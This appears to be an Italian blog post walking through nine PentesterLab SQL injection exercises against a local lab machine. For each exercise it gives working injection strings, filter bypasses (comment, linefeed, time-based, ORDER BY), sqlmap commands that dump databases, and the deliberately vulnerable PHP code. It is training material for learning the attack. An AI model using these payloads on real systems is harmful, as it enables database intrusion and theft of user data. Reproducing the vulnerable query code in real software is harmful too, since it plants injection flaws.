0

Nozioni basilari di (in)sicurezza delle applicazioni Web – Parte 6 – SQL Injection

In più articoli abbiamo affrontato attacchi di SQL Injection, sia per quanto riguarda la teoria, sia per quanto riguarda la pratica. PentesterLab offre alcuni esercizi, soprattutto per capire le basi dell’attacco e su come violare dispositivi con basilari sistemi di filtraggio. Proprio per questo motivo ho deciso di inserire anche i comandi da utilizzare con SQLmap, in modo da avere anche  conoscenza sull’utilizzo del tool in questione.

Esempio 1

http://192.168.56.101/sqli/example1.php?name=root

Classica GET, in cui vengono stampati i dati dell’utente root. Visto che molto probabilmente esistono altri utenti, vado ad inserire la stringa solitamente utilizzata per il test di questo attacco.

http://192.168.56.101/sqli/example1.php?name=root' or '1'='1

Soluzione esempio 1

Con sqlmap il comando è pressoché immediato

 sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs

In questo modo ricevo le informazioni sul database utilizzato dall’applicazione e le relative tabelle. Se volessi avere anche le informazioni degli utenti (nomi, password e tutti gli altri dati),

 sqlmap --banner -u http://192.168.56.101/sqli/example1.php?name=root --dbs --dump

Soluzione esempio 1 con sqlmap

Il codice della pagina vulnerabile è

<?php
  .
  ..
  ... 
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";   
  $result = mysql_query($sql);
  ...
  ..
  .
?>

Come si può notare non c’è nessuna validazione dell’input, la richiesta viene eseguita senza nessun filtraggio e MySQL eseguirà la query

SELECT * FROM users where name='root' or '1'='1';

la quale risulta sempre vera.

Esempio 2

Nel secondo esempio non sono accettati spazi, di conseguenza la stringa inserita prima non funziona. Senza tanti giri, proviamo a rimuoverli ed eseguire la query senza spazi

http://192.168.56.101/sqli/example2.php?name=root'or'1'='1

Soluzione esempio 2

Sqlmap ci viene incontro con l’opzione tamper (altri esempi si possono trovare qui), in particolar modo space2comment.

sqlmap --banner -u http://192.168.56.101/sqli/example2.php?name=root --tamper=space2comment --dbs

Soluzione esempio 2 con sqlmap

Il codice dell’esempio è

<?php
  .
  ..
  ...
  if (preg_match('/ /', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  ...
  .. 
  .
?>

Ora è stato aggiunto un controllo sugli spazi, ma come abbiamo visto è facilmente aggirabile.

Esempio 3

Molto simile a quello di prima, stavolta per aggirare il blocco inserisco commenti fasulli in PHP, che vengono categoricamente ignorati.

http://192.168.56.101/sqli/example3.php?name=root'/**/or/**/'1'='1

Soluzione esempio 3

Il comando sqlmap è lo stesso di prima, mentre il codice è ora

<?php
  .
  .. 
  ...
  if (preg_match('/\s+/', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  ...
  .. 
  - 
?>

Come si può leggere dal manuale di PHP, \s+ controlla se ci sono uno o più spazi.

Esempio 4

La richiesta è ora riferita ad un campo numerico, per cui le modalità di attacco cambiano, non essendoci necessità di un apice. Provo con lo stesso attacco del primo esempio, senza però inserire apici.

http://192.168.56.101/sqli/example4.php?id=2 or 1=1

Soluzione esempio 4

Senza tanti preamboli, anche sqlmap trova con poche richieste la vulnerabiità

mrtouch@mrtouch:~$ sqlmap --banner -u http://192.168.56.101/sqli/example4.php?id=2
[21:56:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (3588=3588) THEN 3588 ELSE 3588*(SELECT 3588 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x71706a7671,0x5a5663556b52634a595659507a695745444c4756785469676e5a786b4e6a5343464d735470704451,0x7176627671),NULL,NULL-- ocZx
---
[21:56:30] [INFO] the back-end DBMS is MySQL
[21:56:30] [INFO] fetching banner
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
banner:    '5.1.66-0+squeeze1'

Il codice è

<?php
  .
  ..
  ...
  $sql="SELECT * FROM users where id=";
  $sql.=mysql_real_escape_string($_GET["id"])." ";
  $result = mysql_query($sql);
  ...
  ..
  .
?>

Il programmatore ha utilizzato il filtraggio mysql_real_escape_string, ma inutilmente, visto che non ci sono apici. Nelle ultime versioni di PHP (>7.0) la funzione è deprecata.

Esempio 5

Sembra che non sia cambiato nulla, e funziona lo stesso attacco di prima


Soluzione esempio 5

Il codice è però diverso, viene inserito un controllo sui caratteri inseriti nella GET. Se non sono numeri, viene restituito errore, ma poco importa, visto che non la richiesta non viene comunque filtrata.

<?php
  .
  ..
  ...
  if (!preg_match('/^[0-9]+/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;
  
  $result = mysql_query($sql);
  ...
  ..
  .
?>

Esempio 6

Funziona nuovamente la stessa stringa di prima.


Soluzione esempio 6

Questa volta sqlmap non riesce ad identificare il pattern, nemmeno se aumento il rischio (–risk 3) o il livello (–level 5).  Nel caso abbiate la soluzione, contattatemi e provvederò ad aggiungere il comando!

Il codice è

<?php

  .
  ..
  ...
  if (!preg_match('/[0-9]+$/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;

  
  $result = mysql_query($sql);
?>

Esempio 7

Finalmente il codice di prima non funziona più, sembra anzi che il codice sia inattaccabile, visto che non accetta spazi, commenti o stringhe al di fuori di soli numeri,

Visto questo blocco, andiamo ad inserire la stringa Linefeed, molto simile al carattere newline.

http://192.168.56.101/sqli/example7.php?id=2%0aor%0a1=1

Soluzione esempio 7

Per riuscire a trovare la vulnerabilità con sqlmap dobbiamo inserire anche la stringa LF, in modo da definire il pattern di attacco (seguito dal carattere * per specificare dove attaccare)

 sqlmap -u "http://192.168.56.101/sqli/example7.php?id=2%0a*" --dbs --dump

Soluzione esempio 7 con sqlmap

Il codice era codi definito

<?php
  .
  ..
  ...
  if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"];
  
  $result = mysql_query($sql);
  .
  ..
  ...
?>

Esempio 8

Questo esempio passa decisavamente ad un livello superiore, nel quale bisogna conoscere la diverse tecniche di SQLInjection.

Sebbene le informazioni siano già stampate, l’esercizio vuole far capire come funziona un attacco Time Based SQLInjection, più raro da trovare ma sempre efficace.

La stringa che invio al server è cosi definita

http://192.168.56.101/sqli/example8.php?order=id`,(select sleep(0))--+

la quale formalmente non fa nulla, se non dormire per 0 secondi (tempo che possiamo definire noi). Alcuni paper sull’argomento possono essere trovati qui e qui.


Soluzione esempio 8

Il comando passato a sqlmap è decisamente più semplice, basta aggiungere un apice (codificato) direttamente nella richiesta

sqlmap -u "http://192.168.56.101/sqli/example8.php?order=id%60" --dump

Soluzione esempio 8 con sqlmap

Il codice era

<?php
  .
  ..
  ...
  $sql = "SELECT * FROM users ORDER BY `";
  $sql .= mysql_real_escape_string($_GET["order"])."`";

  $result = mysql_query($sql);
  ...
  ..
  .
?>

Esempio 9

In questo esempio ho trovato una semplice vulnerabilità su order by, nella quale si può ordinare a proprio piacimento i dati inserendo un IF

http://192.168.56.101/sqli/example9.php?order=if

Soluzione esempio 9

Sqlmap trova la vulnerabilità senza nessun opzione aggiuntiva, mentre il codice dell’applicazione era

<?php
  .
  .. 
  ...
  $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
  $result = mysql_query($sql);
 . .. ... ?>

Conclusioni

Ammetto di esser rimasto un pò deluso, mi aspettavo qualche form o attacchi più specifici, ma probabilmente è stato pensato proprio per chi non ha mai visto attacchi SQL Injection e di conseguenza per comprendere il codice insicuro in modo ottimale.  Per chi fosse interessato, a questa pagina è presente un mini guida di sqlmap, mentre una cheat sheet per l’attacco SQL Injection si può trovare qui.

 

Facebooktwittergoogle_plusredditlinkedintumblrmail

Se ti è piaciuto l’articolo condividi, dona, spargi il verbo! HackTips

 

Vai all'articolo originale

Leave a Reply